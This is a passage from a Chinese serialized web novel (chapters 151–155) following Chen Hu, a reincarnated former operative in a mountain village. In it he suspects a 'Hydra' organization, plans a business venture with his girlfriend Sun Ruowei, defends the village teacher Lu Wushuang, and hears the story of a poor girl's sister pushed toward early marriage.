原路返回的过程中,陈虎忍不住回想起了前世的那次任务。 陈虎重伤在地,鲜血顺着他的手指缓缓流淌,沾湿了坚硬的地面。 伴随着微弱的喘息声,陈虎的视线模糊,周围的阴影渐渐吞噬了他的身影。 撕心裂肺的枪声,此起彼伏,回荡在他的耳边,像是无形的幽灵在确认他的命运。 陈虎努力攀爬着,想要拖动那个被他视为战友的身影,但无情的现实却让他无法做到。 他的每一次动作,都如同在与钝痛的锤子搏斗,强烈的绝望似乎徘徊在他的灵魂深处。 就在这刻,他的脑海之中闪回的不再是昔日的成功,而是这次任务中出现的层层叠叠的怪异现象——密密麻麻的监视、通讯的频频失灵、团队对他指令的反常反应。 就在一阵刺耳的静默之后,一道锋利的光线划破了空气,照亮了他模糊的视野,前方是一扇铁门,隐约透出一种冷酷与不屈的气息。 那是九头蛇的标志,狡诈而又神秘! 陈虎的心中不禁惊觉,难道此次任务的失败,早已注定? 他突然意识到他的行踪,不知何时早已被组织内的人通报给了目标。 他与时间的赛跑,已无任何意义。 “是内部泄密!” 陈虎心中狂跳,回忆起这一切的细节。 按照以往的经验,任何一个小漏洞都可能导致整个计划的崩溃。 陈虎对组织内部的怀疑,在他的脑海中肆虐,背叛的阴影笼罩在他的意识之上,他的双手握紧成拳,紧咬牙齿。 “泄密的内鬼究竟是谁?” …… 第一卷 第151章 这不是耗子遛猫窝吗? 陈虎原路折回后,天色已经黑了下来。 包专早早就等待在路口,熄了火后,他就将车子停靠在路边,自个儿则蹲在车引擎盖前头抽着烟。 陈虎上车后,包专瞅见陈虎那满脸阴沉的模样,几次欲言又止,但最终还是没敢出声询问陈虎什么。 毕竟,这是自打包专跟了陈虎以来,第一次见到陈虎有这般难看呢脸色。 包专虽然不明白到底发生了什么情况,但也猜到了这事情不小,毕竟,他还是第一次见到陈虎的这般神情。 等到陈虎回到家时,一推门就瞧见了家里桌前坐了不少人,除了陆无双与杨蓉,以及马老三外,孙若薇竟然也在。 此时,孙若微正逗弄着陈瑶和陈真两个小家伙玩。 陈虎和包专两人一进屋,杨蓉就招呼着两人坐下吃饭道: “你们可算是回来了!来,快把外套脱了先吃饭!不是说了今儿会早回来的吗?小虎你也是,人家若薇下午就过来了,硬是等你等到了现在!” 听着自家娘的唠叨,陈虎原本阴郁的神色,不由得一阵缓和。 而后,陈虎坐下身后,露出一副面带抱歉的笑意,望向了桌对面的孙若薇。 孙若薇今天穿了一件黑色丝质的衬衫,这衬衫贴合她的苗条的身体线条,搭配着高腰裤,让她的身上散发出一股优雅的气息。 淡雅的妆容与温柔的微笑交织,让孙若薇显得与周围的农家氛围格格不入,却又不突兀,时尚却内敛。 此时,孙若薇的手里,正拿着一本《格林童话》,她一边翻动书页,一边给陈瑶和陈真两个小家伙讲着书上的故事。 两个小家伙的身上都穿着崭新的衣裳,此时都兴致勃勃地盯着孙若薇手里的那本图画书。 这时,杨蓉给陈虎和包专两人盛了饭,并且,她还悄摸的给陈虎使了个眼色,接着略微刻意的说道: “小虎,今天若薇过来,还给囡囡和小真买了衣裳,给你妈我也买了一堆东西,你看那边的那一堆,说是给你买的,你说上哪儿找的这么好看又大方的姑娘啊?之前倒是听你说过,你当时咋没说那么漂亮啊?” 正说着,杨蓉将目光投向了孙若薇,盈盈笑道:“若薇啊,阿姨不知道你今天过来,都没准备什么好菜,真是的,早知道你要来的话,那我就让小虎去镇上多买些干货回来了!” 孙若薇闻言,赶忙摇头,然后放下《格林童话》,轻声笑道:“阿姨,你说的哪儿的话呢!这菜还不丰盛啊?” 餐桌上,此时是满满一桌北方地道的农家菜肴。 菜色呈现出丰富诱人的色泽,以及浓厚的乡土气息。 中央是一锅热腾腾的红烧肉,色泽诱人,肥而不腻,肉质鲜嫩,汤汁浓稠。 旁边的锅里面是手工制作的饺子,皮薄馅儿多,蒸气缭绕,散发着香味。 绿油油的菠菜炒鸡蛋和清爽的凉拌黄瓜,则为餐桌增添了几分生机。 还有一盘地道的酸菜炖白肉,酸香扑鼻,令人食欲大开。 炖土豆和尖椒的菜肴,也很受欢迎,软糯的土豆与脆爽的辣椒交相辉映,增添了口感上的层次感 桌角还放着一碗热乎乎的玉米粥,金黄色的粥面上漂浮着几颗红枣,营养丰富,且温暖人心。 说实话,这规格就是孙若薇的家里,也不可能是平时都经常吃到的。 陈虎随后便招呼众人道:“大家先吃完再说吧!等会儿菜都冷了!” 杨蓉闻言,直接就白了陈虎一眼道:“你就知道吃!” 本来,杨蓉还想当场教育陈虎,让他多和孙若薇聊聊,增加两人之间的亲密关系,不要把注意力都放在吃饭上面。 只是,一想到桌上不只是有陈虎和孙若薇两人,还有其他人在,她这么教育陈虎的话,显然是不合适的。 不由得,杨蓉只能压下心中的想法,然后望向桌前的众人,也接着招呼道: “大家动筷!快动筷哈!老三今儿辛苦了,多吃点,若薇你那边够不够得到夹菜?” “陆老师,您这边也辛苦,多吃点补补身子!包专开一天车了,快多吃些,阿姨再给你多添点饭……” 饭桌前,大家一边回应着,一边开动,陈虎则无奈耸了耸肩,接着就挪动位置,直接坐到了孙若薇的身旁。 孙若薇正吃得津津有味,见陈虎突然凑过来,不由得冲着陈虎递了一个颇有深意的微笑。 陈虎这时候侧过头,轻声开口道: “我眼下需要你帮个忙,我知道你家里和军方有关系,老爷子也从那儿出来的,我需要你动用资源帮我找一找,这附近一带,有没有什么持有重火力的境外组织,或者国际利益集团。” 正品尝满桌菜肴的孙若薇,当即就被陈虎这话一惊,直接就呛到了,她赶忙转身,低头咳嗽了两声。 一旁的杨蓉见状,不由得狠狠瞪了陈虎一眼道:“有什么话吃完说!你看给若薇呛得……” 陈虎闻言,只能悻悻然的缩了缩脑袋,对于自家亲妈的指责,他也不敢顶嘴,只得坐回去,安静吃饭。 杨蓉见状,顿时又冲着陈虎剜了一记眼刀,暗骂自家这儿子怎么追的对象,都不知道怎么关心照顾女孩吗? 接着,杨蓉起身来到孙若薇的面前,轻拍着孙若薇的背部,询问孙若薇有没有事情。 孙若薇摇了摇头,直言“没事儿!” 饭后,一桌人都看出了陈虎和孙若薇这小两口有话要说,纷纷告辞离去。 杨蓉收拾了碗筷之后,也是哄着两个小家伙回去休息。 很快,客厅就只剩下陈虎与孙若薇二人。 这时候,孙若薇才开口问道: “你刚才说要找什么?携带重火力的境外组织?” 陈虎闻言,微微颔首。 孙若薇当即满眼不可置信,接着摇头否认道:“不可能!这地界绝对不可能有这样的人!最近的军事基地距离这里就不足五十公里,怎么可能会在这一片有这样恐惧的境外人员呢?对方还携带着重火力?这不是耗子遛猫窝吗?” 第一卷 第152章 你知道怎么让自己立于不败之地吗? 听了孙若薇的话,陈虎不由得沉默片刻,对于孙若薇此时的不相信,陈虎十分理解,但他却无法放松心中的警惕。 陈虎随即十分认真的看着孙若薇,缓缓说道:“我听到了一些消息,也许你无法相信,但确实是真的,我们附近这一带,最近有一个名为‘九头蛇’的组织。” “而这个‘九头蛇’,并非是寻常的组织,他们活跃在世界的动荡地区,早已形成了一种不可小觑的规模。” “他们的成员遍布各国,拥有最先进的武器和专业的军事训练,甚至于能够在敌方的眼皮底下成功渗透。” 孙若薇听到陈虎这话后,心中顿时涌起一阵不安,随即眉头紧锁道:“你是说,他们可能已经在这里建立了据点?这怎么可能?若是真如你所言,那这不是我帮忙的问题了,这是该让国安那边处理的大问题。” “正是因为如此,他们的行动才更加隐蔽!”陈虎目光凝重道:“九头蛇组织的成员善于伪装,他们可能会利用本地的基础设施和资源,甚至于会与一些非法势力联盟,从而掩盖他们的真正身份。而且,从我听到的消息来看,最近这片区域内,所发生的一系列事件,其实都有他们的影子。” 孙若薇闻言,当即不由自主地站起身,而后走到窗前,试图从外面看到些许端倪。 月光洒在她的脸上,映衬着她那坚定与思考交织的神情。 “你是说,很有可能附近一带发生的所有类似于失踪和货物走私之类的案件,都是他们在背后操控?”孙若薇皱眉问道。 “没错!”陈虎点头道:“每个细节都可以引向一个更大的阴谋。九头蛇的存在,不仅仅是为了扩张势力,他们实际上还可能在暗中为某个重大事件铺路。你要知道,这个组织以获取武器与资源为基础,他们在利用每一个机会。” 孙若薇转过身,眼神里面不由得透出了一丝紧张道:“如果我们真被卷入了九头蛇的阴谋中,那我们该如何应对?” “我们需要做的就是收集证据,揭露他们的真实意图。”陈虎说到这里,口气异常坚定道:“同时,我们必须加强警惕,不能让他们在我们眼皮底下肆无忌惮。他们或许已经在这片土地上深耕细作,拥有相当可怕的地下势力了,因此,我们要时刻保持警觉。” “我明白了。”孙若薇点了点头,脸上的紧张逐渐被认真取代。 她知道,如果九头蛇真的如陈虎说的那么可怕的话,那就必须要重视起来。 好在,陈虎发现得早,已经提前察觉到了有可能出现的危机。 “我们可以先从周围的情报着手,深入调查最近的异常现象,寻找可疑的线索。”陈虎的目光中,闪烁着一种强烈的斗志,那是一种来源于复仇的渴望。 “好的!我之后会调动资源调查,确保消息准确,传递畅通。” 陈虎听到孙若薇的应对,微微眯眼,语气不明喜怒,缓缓说道: “不着急!你收集的情报统一先交给我,具体后续是否要上报国安什么的,等我处理一些事情再说。” 孙若薇听到陈虎的话,并没有应声,而是深深看了陈虎一眼,心中不禁满是疑惑。 良久之后,孙若薇突然质问道:“陈虎,你到底是什么人?” 陈虎闻言不由挑眉,两手一摊,十分坦然的反问道: “你对我也应该算是知根知底才对吧?” 这话让得孙若薇一时之间,不禁哑然。 好像……陈虎的背景调查就很简单,他就是个山里的猎户,连长时间几个月或者半年时间消失的消息都没有过。 陈虎并不想孙若薇再追问他的底细,因此,他随后自顾自的拎着水壶,往瓷碗里面添了一杯热茶后,转移话题道: “投资的初始资金,你准备得怎么样了?我相信以你的能力,那些各种指标文件,对你来说并不是问题。不过,我们需要再加快一些进度了。” 对于陈虎来说,的确是该加快进度了。 一方面是九头蛇的踪迹显露,让陈虎有了为前世一些事情做出了解的想法。 另一方面则是因为陈虎记忆深处那个怪老头,对方穷极一生所追求的一切,让得陈虎在这片时空,在这方还未完全被侵蚀的土地上,找到了萌芽的开端。 而这一切,都需要大量的资本、时间来促成! 孙若薇闻言,微微蹙眉,简单思考后,回道: “初始资金不是问题,各项指标文件也如你所言,都不是问题,包括你最开始说过的一系列创建产业的惊人思路,我也都觉得没有问题。” “现在的问题是我们要做什么产品?” “消费群体是哪些人?” “依照你的经营和创办思路,我们的资金链一步都不能断,而倘若产品滞销,或者供应链任何一处断裂,我们要面临的可不仅仅是巨额债务,而是整个链条崩盘之后,无数个窟窿,那时候,你将会面临什么,你有考虑清楚吗?” 孙若薇说到最后,媚眼灼灼发光的盯着陈虎。 她话里的意思,其实已经很明确了。 尽管她和陈虎两人目前是情侣关系,哪怕初始资金全部都是她拿出来的,甚至于各方面资源和打点都需要她利用她的人脉资源去应付。 但从一开始,正如陈虎所言,这对于她来说仅仅是一场投资。 而按照陈虎的整体思路来看,这个创办模式等同于踩着钢丝绳前进,稍有不慎,就会坠入万丈深渊! 如果最坏的结果真的发生的话,那孙若薇到时候肯定会完全置身事外的。 就算陈虎想要拖着她下水,以孙家的能耐,孙家也都可以保得住孙若薇的。 但,陈虎不行! 孙家肯定是不会保陈虎这个孙家不认可的孙若薇的男朋友的! 陈虎对于孙若薇话里的意思,却是完全不在意,他十分轻松的回道: “我很清楚这其中的关联与后果,至于产品,等过几天你就会知道了!该操心的事儿,你放心交给我就好!等一切处理妥当后,你记得找人知会我一声。” “你就这么自信?”孙若薇好奇的看了一眼陈虎。 陈虎不置可否的点了点头,神情十分轻松道: “你知道怎么让自己立于不败之地吗?” 孙若薇闻言,不由得投来了好奇的目光,姣好的面容上同时也露出求知的神态,认真问道: “怎么做?” 陈虎凝眉,正色出声道: “你应该知道三国归晋,结束了自东汉末年开始的割据局面,而三国归晋,又归功于司马懿。” “对于司马懿这个人,后世的评价很多。” “官方的说辞一般都是说司马懿是三国时期著名的政治家和军事家,他的才华与谋略在历史上备受赞誉。” “作为魏国的重要人物,司马懿在面临外敌和内部斗争的时候,展现出了卓越的军事才能。他的多次出征,尤其是对蜀汉的伐谋,为魏国稳固政权,立下了赫赫战功。” “然而,司马懿的政治手腕同样引人注目。他在权力斗争中,所表现出极强的谋略与忍耐,最终通过‘高平陵之变’成功地夺取了统治权,为其家族奠定了晋朝的基础。” “尽管在历史上,他常常被视为阴险狡诈的权臣,且其篡位行为,一直备受争议,但他无疑是一位具有深远影响力的人物。” “许多人对司马懿的评价中,基本都是司马懿的形象复杂而多元,既有智慧与才华,又有权力欲望与阴谋。因此,他不仅是三国历史中的重要角色,也是中国历史上一位极具争议的人物。” “当然,这都是官方的说辞!更多的时候,我们提及司马懿时,都只有批判其阴谋家本质的那一系列的批判说辞。” 经历过高等教育的孙若薇,对于汉末三国的这段历史,自然是不会陌生的。 根据刚才陈虎的话语,孙若薇想到了什么,当即有些不解的反问道:“你是说司马懿立于不败之地了?” 第一卷 第153章 平衡各方 对于孙若薇的问题,陈虎不置可否点点头,却又摇了摇头道:“是!但并非历朝历代学者所评判的那般,他是一个彻头彻尾的阴谋家。” “在真正的博弈领域上,站在规则之内,没有任何阴谋手段能够起到极大作用。” “司马懿的政治斗争,可以被视为一个更为复杂的权力游戏,涉及到多个利益集团的选择与博弈,而不仅仅是传统意义上的阴谋与诡计。” “司马懿作为魏国的重要权臣,处于权力核心。他的崛起不仅依赖于个人的才能与智谋,更是与其他权臣如曹爽等形成了竞争与合作的关系。” “权臣之间,为了巩固自身地位与影响力,往往需要不断进行利益计算,比如在朝廷决策中的相互拉拢与权力分享。” “在三国时期,士族和地方豪强具有重要影响力。他们拥有土地和资源,能够左右地方政权和军事力量。士族如曹氏宗族希望维持其传统的权力结构,而司马懿的崛起则威胁到了他们的利益。” “士族在这一时期的选择,一方面希望维护旧有的贵族特权,另一方面也需要适应新的权力秩序,可能选择与司马懿结盟,以确保自身的安全。” “其中,最重要的还是魏国的军事将领们。” “他们在这一斗争中,同样是重要的利益集团。” “将领们各自带领军队,拥有较高的军事独立性,他们的支持对于任何权力中心而言,都是至关重要的。” “司马懿通过显示出他在军事上的才能,逐渐获得了部分将领的支持,这使得他能够在内部权力斗争中占据优势。” “而外部势力的影响在政治斗争中,也是不可忽视的,如东吴与蜀汉。这些国家的军事行动和外交策略,直接影响着魏国的内部权力平衡。司马懿在应对外敌威胁时,必须在内部权臣、将领之间找到平衡,以确保国家的稳定和自身的权力支配。” “很显然,他的成功并不是单一的阴谋诡计,而是各种利益集团之间复杂互动的结果。不同利益主体的选择与价值取向,构成了那个历史时期的权力动态。” “所以,真正的博弈都是考虑多方利益集团的选择,从不是简单的阴谋就能够促就的。” “当你明白这些,那我们再回到这次产业创立去研究,你也许觉得我在走钢丝,但我可以告诉你:只要我走出第一步,往后就会有无数的人,拥护着我走完剩下的路程。” 陈虎的话,让得孙若薇瞬间醍醐灌顶! “我明白了!” “劳工们会希望你的产业落地,只有你有了利润,才能开支工钱,让他们多一份收入与稳定。” “而各处供应链也是同样道理,包括银行,甚至于是后续的发展。” “一旦产业落成,当地政府还会给予最大扶持,因为这不仅能增加税收,还有就业率,都是一笔巨大政绩!” “只要你平衡好各个利益群体,那你的后半程路,将会十分顺畅!” 孙若薇越说越觉得心惊! 她难以想象眼前这个不足二十岁的陈虎,竟然能够考虑到这么多的层面,以及各个利益群体之间的需求与如何平衡? 她静静观察着眼前的陈虎,心中不由得泛起一阵复杂的情感。 虽说陈虎年纪尚轻,但他的眼神之中却透着成熟与坚定,让人感觉他在这个纷繁复杂的世界中游刃有余。 这不由得让孙若薇感到了一丝羡慕,也让她不禁反思起她自己的处境。 “他是如何做到的?”孙若薇的心中,暗自盘算着。 她的脑海之中,顿时也闪过了无数个问题。 这个年轻人似乎能够轻松地将不同人群的需求进行整合,并在看似矛盾的利益之中,找到平衡的答案。 而孙若薇曾经也拥有那样的理想,勇敢追逐着梦想,毫无后顾之忧。 可如今,她却被现实的种种束缚所限制,感到无从突破。 “或许,这就是男人与男人之间的差异!”孙若薇这样想着,心中不免生出几分无奈与自嘲。 她已经将太多的思考与责任,揽在了肩上。 这些年来,她似乎将生活的重心完全集中在了他人的身上,唯独忽略了她自己的内心。 孙若薇难免想起了她的青春时光,尤其是那些无畏无惧的日子,如今已经被考量与妥协所取代。 能否重拾那份初心? 孙若薇心中的疑惑,愈发强烈。 当看到这个陈虎能够如此灵活应对生活与事业之间的平衡时,她的内心更是波涛汹涌。 孙若薇不由得去想,这是否是因为年龄的关系? 还是说,不同的人生选择,造就了不同的处境? 随着思考的深入,孙若薇渐渐意识到,这不仅仅是她对陈虎能力的仰慕那么简单,更是对她自己内心深处的那份渴望的映射。 她想要冲破困扰她的桎梏,重新找回那种对生活的热爱与自由。 或许,她可以多向陈虎学习,重新审视她的目标与期望。 但同时,孙若薇也感到一丝恐惧,害怕这样的转变会带来不安,甚至于会失去她所赖以生存的安全感。 内心的矛盾像潮水般涌来,不断冲击着孙若薇的思绪。 孙若薇知道,未来的路注定不会一帆风顺,而这一路的平衡与选择,将会是她自我重塑的重要部分。 “我该如何开始?”孙若薇在心中默念,试图为她的迷茫找到突破口。 无数的可能性,在孙若薇的脑海中交织,让她感到既兴奋,又忐忑。 陈虎察觉到了孙若薇的异样,有些不解的问道:“在想什么?” 孙若薇闻言,深深的叹了口气,接着自嘲的笑道:“如果你和我之间身份进行调换,你拥有我所拥有的资源、家世以及机会,起点更高的话,也许你能够更早的登顶更高峰。” 陈虎听到孙若薇这话,当即不以为意的淡然一笑道:“你是女人,不需要想这些的!” “女人?怎么不需要?”孙若薇提高了声调,显得有些不解。 陈虎微微扶额,失笑道:“我无意冒犯女人,同时声明一下,我很尊重女人。” “但我听说过一个有趣的说法。” “什么说法?”孙若薇好奇追问。 “男人依靠征服世界来征服女人,而女人则靠着征服男人,来征服世界。” 孙若薇那明媚的五官,当即就为陈虎这句打趣的话,而溢出了宛若娇艳桃花般的笑容,随即忍不住一阵摇头。 陈虎则轻笑着继续说道:“当然!也有个别奇葩,依靠征服女人,来征服世界。” 孙若薇闻言,那抹柳烟眉微微挑动,随即不由得打趣出声道:“那你是哪种男人?” 氛围在陈虎和孙若薇二人的打趣声中,突然就略显暧昧。 陈虎这时候故作一丝不苟的开口道:“我哪种都不是!” “哪种都不是?” “没错!我征服世界不为女人,我征服女人也不为这个世界,仅仅因为我想而已。” 说罢,陈虎就一把将孙若薇给扯进怀里。 这突然的举动,瞬间就让得孙若薇娇躯一颤,一抹红霞顿时晕开在她那姣好的脸蛋上。 孙若薇眼神闪躲着,一时之间,也不知道该说些什么。 陈虎则径直俯下身子,直接吻了下去。 随后,陈虎更是双手将孙若薇给抱起,接朝着他的房间走去。 孙若薇瘫软在陈虎的怀里,她想要拒绝,但她的话都已经到了嘴边,她却又突然说不出口了。 红袖添香,长夜漫漫…… 第一卷 第154章 你凭啥打人啊? 次日,孙若薇清早便自行开车回去了,按照陈虎的指示,后续她还有许多需要忙的事情。 陈虎也总算是可以偷闲片刻,吃过早饭之后,他便跟着陆无双一同送陈瑶和陈真两个小家伙去上学。 走在路上,两个小家伙极不安生。 小鼻涕虫碰到了三个相熟的同学,很快就有说有笑的打闹着走到了一块儿,小囡囡则不时的采采路边的野花,盘算着用野花怎么编一个花环。 这时候,陆无双冲陈虎询问道:“怎么没穿你那富家女女友送的衣服?我昨儿看到包装了,都是些国外的牌子,估计价格十分吓人啊!” 陆无双的话听不出情绪,陈虎并未在意,淡然回道:“一件衣服而已!穿上了我陈虎还是陈虎,不穿的话,我陈虎也仍旧是陈虎。” 陆无双闻言,直接轻笑一声,没再作声。 就在这时,一个穿着破旧的小女孩被一个看上去年纪不大的男孩带着走到了校门口。 女孩叫陆招娣,是学校眼下三十五个学生里面,唯一的一个女孩。 并且,这个女学生还是陆无双自作主张,免去了她的学杂费,还免费提供了课本、纸笔,自费让她有空就来学校学习的。 陈虎与陆无双走到学校门口时,被陆招娣和那个男孩拦住了。 陆无双望着招娣和她身旁大不了招娣几岁的男孩,有些不解的望向两人。 这时候,那男孩走到了陆无双的面前,眼神之中,满是厌恶的开口大喊道: “你就是那个婊子,是吧?是你让我妹妹来你这儿上学的?” 那男孩估摸着仅有十五、六岁,穿着周正,小小的眼睛里面满是戾气,毫不掩饰他对陆无双的嫌弃。 可这男孩刚出声问完话,陈虎便二话不说,直接上前猛地一巴掌挥出! 这一巴掌,顿时就引来了周围送孩子上学的村民们的围观。 挨了打的那男孩自然不服,双眼怒视着陈虎,捂着脸叫喊道: “老子有说错吗?她不就是被玩烂了的婊子吗?你凭啥打人啊?” 陈虎闻言,微微眯眼,脸色满是阴沉。 紧接着,陈虎不做回应,反倒是一个箭步向前,猛地一拳冲着少年砸去! 那男孩在惊恐之中,本能地微微侧身,试图躲避即将而来的攻击。 但陈虎的拳头如雷霆般迅猛,毫不迟疑地击中了他的胸口。 他的身体猛然向后仰,双手护住胸部,脸上瞬间便浮现出惊愕与痛苦的交错表情。 他的呼吸被这一击震得骤停,胸口的剧痛仿佛攥紧了他的心脏,让他难以喘息。 随着重心不稳,那男孩脚步踉跄,后退了几步,直到摔倒在地,他脸上的痛苦将他的五官拧成了一团。 一时之间,他就连叫喊出声都做不到了,好像一呼吸就能够感觉到胸部钻心的抽疼! 一众村民们见打人者是陈虎,不由得都围拢在一旁偷摸着议论,却没人敢在这时候站出来阻止陈虎。 见那男孩躺在地上不再叫骂了,陈虎这才转身询问陆无双道:“这是什么情况?” 陆无双简单说明了陆招娣这个学生的情况后,接着又叫来了一旁的陆招娣,询问那男孩是谁。 小招娣有些畏惧的望着陈虎,但在陆无双的安抚之下,这才缓缓开口说道: “这是我小叔!陆老师,对不起。” “我家里面知道我过来上学,就很生气,他们说……说……” 陈虎闻言,眼神一凝,眉头微皱道:“说什么?” 小招娣闻言,顿时像是惊弓之鸟一般,缩着脑袋,不敢吭声。 陆无双见此当即瞪了陈虎一眼,而后带着小招娣去一旁安抚,周围的村民们这时候也上前查看陆招娣那叔叔的情况。 不多时,陆招娣这小叔这才缓了过来,缓缓起身。 对此,陈虎倒是有分寸,确保对方不会致残、造成重伤。 而另一头,陆无双也问清楚了情况,而后将这件事情的缘由复述给了陈虎。 简单来说,就是因为陆无双给了陆招娣上学的机会,尽管不收陆招娣的学杂费,但她家里面得知后还是怒不可遏,因为陆无双的名声在村子里面私底下很差。 那陆招娣的父母都害怕自家女儿和陆无双沾上关系,所以尽管陆招娣需要每天做完家务,还需要田里没活计才能抽空来学校,但她家里仍旧要杜绝这种情况。 因为他们认为陆招娣和陆无双扯上关系,很容易影响婚嫁。 陈虎听完这话,顿时心中一阵恼怒,然后环视着周围的村民们,直接扬声大喝道: “乡亲们,都听好了!我陈虎能够建设这所学校,就能够保证在这儿上学的学生成绩好的,未来会走出镇上,去县城念高中,还会参加高考,有机会鲤鱼跃龙门。” “但同时,陆老师是我招来的老师,人家之前在市区教学,来到这儿还受到过非法拘禁和虐待!” “造成这个情况的人是什么下场,大家都清楚。” “所以,我不希望大家背地里再议论陆老师!再让我听到风言风语,那么话从哪儿传出来,我陈虎就敢直说,他家往后孩子没有机会上学参加高考,他家里头豢养的鸡鸭鹅,我的养殖场不收,他家里头的干货我这儿也不会收!” “这事儿希望大家伙理解,并且帮忙告知一下村里面其余的乡亲们。” “咱们不能让教书育人,给村里孩子们传授知识的陆老师寒了心!” 陈虎说罢,转头就看向陆招娣那年纪不大的小叔,沉声大喝道: “你给我滚回去吧!有啥事儿可以叫你家人来找我,顺便告诉他们,孩子要是回去挨打,或者你们接着嚼舌根,不让这小女孩念书,那他们以后就别打算安生过日子了!” 陈虎说出这般硬气的话,连一旁的陆无双都没有想到。 陆无双满脸震惊的痴痴看着陈虎,想说些什么,但最终却又没开口。 而陆招娣那小叔则畏畏缩缩的看了陈虎一眼,最终还是扭头回去了。 这时候,陈虎又来到陆招娣的面前,小女孩也被吓得不轻,但也看出来了陈虎不是坏人,尽管她的眼神还有些闪躲,可她却没有直接被吓跑。 陈虎随后深吸了一口气,看向眼前这个穿着破旧的小姑娘,十分认真的开口道: “去告诉你父母,我学校要招女学生!因为你是第一个,所以我这边不仅会免除你的学杂费,并且,你每天上一个上午的课程,还会送两个鸡蛋给你带回去。” 小招娣闻言,不由得有些诧异的看着陈虎。 她的心中,既惊喜,又有些不敢相信! 第一卷 第155章 哥哥,能帮我个忙吗? 自陆招娣记事以来,家里每个月那只老母鸡所产的蛋,都是给父亲和弟弟吃,她和姐姐从来都没尝过。 陈虎倒是没有在意陆招娣的神情,他冲陆无双点了点头,便打算离开了。 这件事情他之所以出手,就是为了保障陆无双的情绪不被影响,至于陆招娣的出身和他父母骨子里面带来的原罪,类似的事情太多,陈虎管不过来,也没精力多管。 可就在陈虎转头要离开时,陆招娣却鼓起勇气,开口问道: “哥哥,能帮我个忙吗?” 陈虎闻言,停下脚步,疑惑的回过头。 陆无双同样也不解的望向小招娣,冲着陈虎递了个眼神后,随后询问道:“有什么事儿吗?招娣,你和老师还有这个哥哥说就行了,这个哥哥会帮你的!” 见他还没开口,陆无双就替他答应了陆招娣,陈虎顿感无奈,但还是静待着陆招娣说出诉求。 陆招娣犹豫片刻后,结结巴巴的讲述了她姐姐的故事。 陈虎与陆无双两人静静聆听着陆招娣的讲述,本来并不打算多做过问的陈虎,却在陆招娣稚嫩的话语中,看到了这片大山深处田园间阴暗的一面。 陆招娣想要陈虎帮她找到她的姐姐,而在她讲述她姐姐的故事时,陈虎与陆无双两人都沉着脸,心绪复杂,像是打翻了五味瓶,有种说不出的感觉。 她姐姐和她的名字很像,她叫陆招娣,而她姐姐的名字叫陆来娣。 群山巍峨,仿若沉默的巨兽,将这方天地与外界无情隔绝。 贫穷与愚昧的阴霾,如浓雾般弥漫不散。 陆来娣的家庭,是这大山深处贫困的缩影。 她的父亲,岁月早已在其身上榨干了生机,枯瘦如柴的身躯在破旧的衣衫里面晃荡,脸上深刻的皱纹犹如被风雨侵蚀的沟壑。 而她的母亲,因智力障碍,只能在混沌之中,打发着日子。 年幼的陆来娣,便在这苦海之中挣扎,每日在晨曦未露时,便背着那与她那弱小的身躯极不相称的竹篓,踏上那崎岖蜿蜒的山路去拾柴。 山路似无尽的长蛇,盘旋在山间,每一步都仿佛要将她吞噬。 同行的弟弟,两手空空,眼神里面透着麻木与冷漠,与负重前行、气喘吁吁的陆来娣,形成了一种残酷的对照。 待回到家中,那一堆堆繁重的家务,又如潮水般向陆来娣涌来。 洗衣、做饭、担水……冰冷的水与粗糙的劳作工具,将陆来娣的小手磨砺得满是伤口与老茧,那是生活给予她的无情“馈赠”。 幸好,这些劳作还有陆招娣帮衬着她完成。 时光无情流逝,三年的光阴在大山的静谧之中,悄然划过。 这一年,陆招娣十岁刚满,而她的姐姐陆来娣却是已经十三岁。 陆来娣出落得亭亭玉立,可她的父亲却被那根深蒂固的旧观念,紧紧束缚。 在她父亲那狭隘的认知里,女孩读书不过是浪费钱财,到了年纪就应该嫁人,相夫教子才是正途。 年幼时的孩子,总会有许多的遐想。 通过走出过上河村的大人们喝酒时闲聊所得知的一切,都让得陆来娣兴致勃勃,她在很长一段时间内都充满着活力,眼中闪烁着希望之光。 她和妹妹陆招娣说过很多遐想的未来。她甚至于天真认为她能够走出大山,去看看外面的世界。 可现实的残酷,却让得她那些遐想,渐渐被忧愁笼罩,笑容如风中残烛般熄灭,眼神里面满是迷茫与无助,恰似一只迷失在浓雾之中的羔羊。 陆来娣十三岁这年,家里便开始为她安排相亲。 可陆来娣却暗暗下定了决心,她不甘心就这般被命运摆布,她像一只困兽般挣扎,毅然决然地前往镇上,探寻生机。 镇上的喧嚣与繁华,于陆来娣而言,是如此的陌生与遥远。 陆来娣怀揣着忐忑与希望,走进一家又一家的店铺。 在一家饭馆前,陆来娣停下了脚步,犹豫再三后,小心翼翼地迈进那扇门,用那颤抖的声音问询老板是否需要人手。 当听闻那不错的薪资时,陆来娣的眼中曾短暂地闪过一丝希望的亮光,可那亮光转瞬即逝。 老板上下打量着陆来娣,看到她那因长期劳作而粗糙的双手,因营养不良而略显发黄的发丝,以及那写满稚嫩与无知的脸庞,随后冷漠地摇了摇头,说道:“小姑娘,我们这需要手脚麻利、有经验的,你还是回去吧!” 闻言,陆来娣的身体不由得微微一晃,仿若遭受了一记重击,她张了张嘴,却未能发出一丝声音,只能默默地转身。 随后,陆来娣的背影在镇中的街道上,显得如此孤独与落寞,仿佛一片被秋风遗弃的枯叶,在风中无助地飘荡。 那晚,陆来娣回到家后,晚上和陆招娣躺在一张床上时,她等到陆招娣睡着后,独自背对着陆招娣,哭了整整一宿。 有一回,陆来娣在镇上瞧见一群身着统一工作服的女工人,她们欢声笑语地走进一家服装厂。 陆来娣的心中瞬间燃起了一丝希望的火苗,她像抓住了救命稻草一般,紧紧跟在那些女工人的后面。 来到服装厂门口,陆来娣怯生生地向门卫打听是否还招人。 门卫大叔瞅了瞅陆来娣那单薄的身板和那满是补丁的衣裳,当即摇了摇头,有些不耐烦地说道:“小姑娘,我们这要的是有裁缝手艺的,你这样的,不行!快走吧!” 闻言,陆来娣的眼神瞬间黯淡了下去,那刚刚燃起的希望之火,直接就被这冰冷的话语,给无情地扑灭,只留下无尽的绝望在她的心中蔓延。 回到家中,陆来娣便陷入了家人精心安排的相亲漩涡之中。 在这大山深处,周围的女孩们无一不是早早地嫁人,遵循着祖辈传下的命运轨迹。 陆来娣在这样的环境之中耳濡目染,渐渐地,她心中那曾经坚定如磐石的信念,也开始动摇了。 之后,陆来娣看到村里那些年轻的孕妇们,脸上洋溢着对新生命的期待与憧憬,那幸福的模样让她不禁怀疑,她一直以来的坚持,是否真的正确。 或许,这早早嫁人、生儿育女的生活,便是她无法逃脱的宿命。 